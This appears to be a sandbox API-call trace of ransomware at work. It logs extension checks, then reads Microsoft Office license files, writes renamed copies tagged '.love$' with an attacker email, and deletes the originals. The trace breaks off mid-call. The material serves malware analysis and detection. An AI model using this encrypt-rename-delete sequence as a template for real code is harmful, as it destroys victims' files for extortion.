[0263.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.235] lstrlenW (lpString=".doc") returned 4 [0263.235] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.235] lstrlenW (lpString=".docx") returned 5 [0263.235] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.235] lstrlenW (lpString=".pdf") returned 4 [0263.235] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.235] lstrlenW (lpString=".xls") returned 4 [0263.235] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.235] lstrlenW (lpString=".xlsx") returned 5 [0263.235] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.235] lstrlenW (lpString=".ppt") returned 4 [0263.235] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.235] lstrlenW (lpString=".zip") returned 4 [0263.235] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.236] lstrlenW (lpString=".rar") returned 4 [0263.236] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.236] lstrlenW (lpString=".bz2") returned 4 [0263.236] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.236] lstrlenW (lpString=".7z") returned 3 [0263.236] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.236] lstrlenW (lpString=".dbf") returned 4 [0263.236] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.236] lstrlenW (lpString=".1cd") returned 4 [0263.236] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.236] lstrlenW (lpString=".jpg") returned 4 [0263.236] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.236] lstrlenW (lpString=".doc") returned 4 [0263.236] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.236] lstrlenW (lpString=".docx") returned 5 [0263.236] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.237] lstrlenW (lpString=".pdf") returned 4 [0263.237] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.237] lstrlenW (lpString=".xls") returned 4 [0263.237] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.237] lstrlenW (lpString=".xlsx") returned 5 [0263.237] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.237] lstrlenW (lpString=".ppt") returned 4 [0263.237] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.237] lstrlenW (lpString=".zip") returned 4 [0263.237] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.237] lstrlenW (lpString=".rar") returned 4 [0263.237] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.237] lstrlenW (lpString=".bz2") returned 4 [0263.237] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.238] lstrlenW (lpString=".7z") returned 3 [0263.238] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.238] lstrlenW (lpString=".dbf") returned 4 [0263.238] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.238] lstrlenW (lpString=".1cd") returned 4 [0263.238] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0263.238] lstrlenW (lpString=".jpg") returned 4 [0263.238] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.238] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.238] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 37 [0263.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.240] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11621) returned 1 [0263.240] CloseHandle (hObject=0x388) returned 1 [0263.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0263.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.242] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.242] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0263.244] GetLastError () returned 0x0 [0263.244] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0263.322] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0263.324] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.324] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11e, lpOverlapped=0x0) returned 1 [0263.325] SetEndOfFile (hFile=0x568) returned 1 [0263.325] CloseHandle (hObject=0x568) returned 1 [0263.325] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.326] SetEndOfFile (hFile=0x388) returned 1 [0263.331] CloseHandle (hObject=0x388) returned 1 [0263.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.334] lstrlenW (lpString=".doc") returned 4 [0263.334] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.334] lstrlenW (lpString=".docx") returned 5 [0263.334] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.334] lstrlenW (lpString=".pdf") returned 4 [0263.334] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.334] lstrlenW (lpString=".xls") returned 4 [0263.334] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.334] lstrlenW (lpString=".xlsx") returned 5 [0263.334] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.334] lstrlenW (lpString=".ppt") returned 4 [0263.334] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.335] lstrlenW (lpString=".zip") returned 4 [0263.335] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.335] lstrlenW (lpString=".rar") returned 4 [0263.335] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.335] lstrlenW (lpString=".bz2") returned 4 [0263.335] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.335] lstrlenW (lpString=".7z") returned 3 [0263.335] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.335] lstrlenW (lpString=".dbf") returned 4 [0263.335] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.335] lstrlenW (lpString=".1cd") returned 4 [0263.335] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.335] lstrlenW (lpString=".jpg") returned 4 [0263.335] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.336] lstrlenW (lpString=".doc") returned 4 [0263.336] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.336] lstrlenW (lpString=".docx") returned 5 [0263.336] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.336] lstrlenW (lpString=".pdf") returned 4 [0263.336] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.336] lstrlenW (lpString=".xls") returned 4 [0263.336] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.336] lstrlenW (lpString=".xlsx") returned 5 [0263.336] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.336] lstrlenW (lpString=".ppt") returned 4 [0263.336] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.336] lstrlenW (lpString=".zip") returned 4 [0263.337] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.337] lstrlenW (lpString=".rar") returned 4 [0263.337] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.337] lstrlenW (lpString=".bz2") returned 4 [0263.337] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.337] lstrlenW (lpString=".7z") returned 3 [0263.337] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.337] lstrlenW (lpString=".dbf") returned 4 [0263.337] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.337] lstrlenW (lpString=".1cd") returned 4 [0263.337] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0263.337] lstrlenW (lpString=".jpg") returned 4 [0263.337] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.337] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.338] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 33 [0263.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.339] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=10667) returned 1 [0263.339] CloseHandle (hObject=0x388) returned 1 [0263.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0263.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.341] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.341] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0263.343] GetLastError () returned 0x0 [0263.343] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0263.500] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0263.525] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.525] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x116, lpOverlapped=0x0) returned 1 [0263.525] SetEndOfFile (hFile=0x568) returned 1 [0263.526] CloseHandle (hObject=0x568) returned 1 [0263.526] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.526] SetEndOfFile (hFile=0x388) returned 1 [0263.531] CloseHandle (hObject=0x388) returned 1 [0263.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1 [0263.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.536] lstrlenW (lpString=".doc") returned 4 [0263.536] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.537] lstrlenW (lpString=".docx") returned 5 [0263.537] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.537] lstrlenW (lpString=".pdf") returned 4 [0263.537] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.537] lstrlenW (lpString=".xls") returned 4 [0263.537] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.537] lstrlenW (lpString=".xlsx") returned 5 [0263.537] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.537] lstrlenW (lpString=".ppt") returned 4 [0263.537] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.537] lstrlenW (lpString=".zip") returned 4 [0263.537] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.537] lstrlenW (lpString=".rar") returned 4 [0263.537] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.537] lstrlenW (lpString=".bz2") returned 4 [0263.537] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.537] lstrlenW (lpString=".7z") returned 3 [0263.537] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.537] lstrlenW (lpString=".dbf") returned 4 [0263.537] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.537] lstrlenW (lpString=".1cd") returned 4 [0263.537] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.538] lstrlenW (lpString=".jpg") returned 4 [0263.538] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.538] lstrlenW (lpString=".doc") returned 4 [0263.538] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString=".docx") returned 5 [0263.538] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.538] lstrlenW (lpString=".pdf") returned 4 [0263.538] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString=".xls") returned 4 [0263.538] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString=".xlsx") returned 5 [0263.538] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.538] lstrlenW (lpString=".ppt") returned 4 [0263.538] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.538] lstrlenW (lpString=".zip") returned 4 [0263.538] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString=".rar") returned 4 [0263.538] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString=".bz2") returned 4 [0263.538] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.538] lstrlenW (lpString=".7z") returned 3 [0263.538] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.538] lstrlenW (lpString=".dbf") returned 4 [0263.539] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.539] lstrlenW (lpString=".1cd") returned 4 [0263.539] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0263.539] lstrlenW (lpString=".jpg") returned 4 [0263.539] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.539] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.539] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34 [0263.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.540] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=22094) returned 1 [0263.540] CloseHandle (hObject=0x388) returned 1 [0263.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0263.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.541] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.541] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0263.543] GetLastError () returned 0x0 [0263.543] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x564e, lpOverlapped=0x0) returned 1 [0263.546] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5650, lpOverlapped=0x0) returned 1 [0263.548] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.548] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x118, lpOverlapped=0x0) 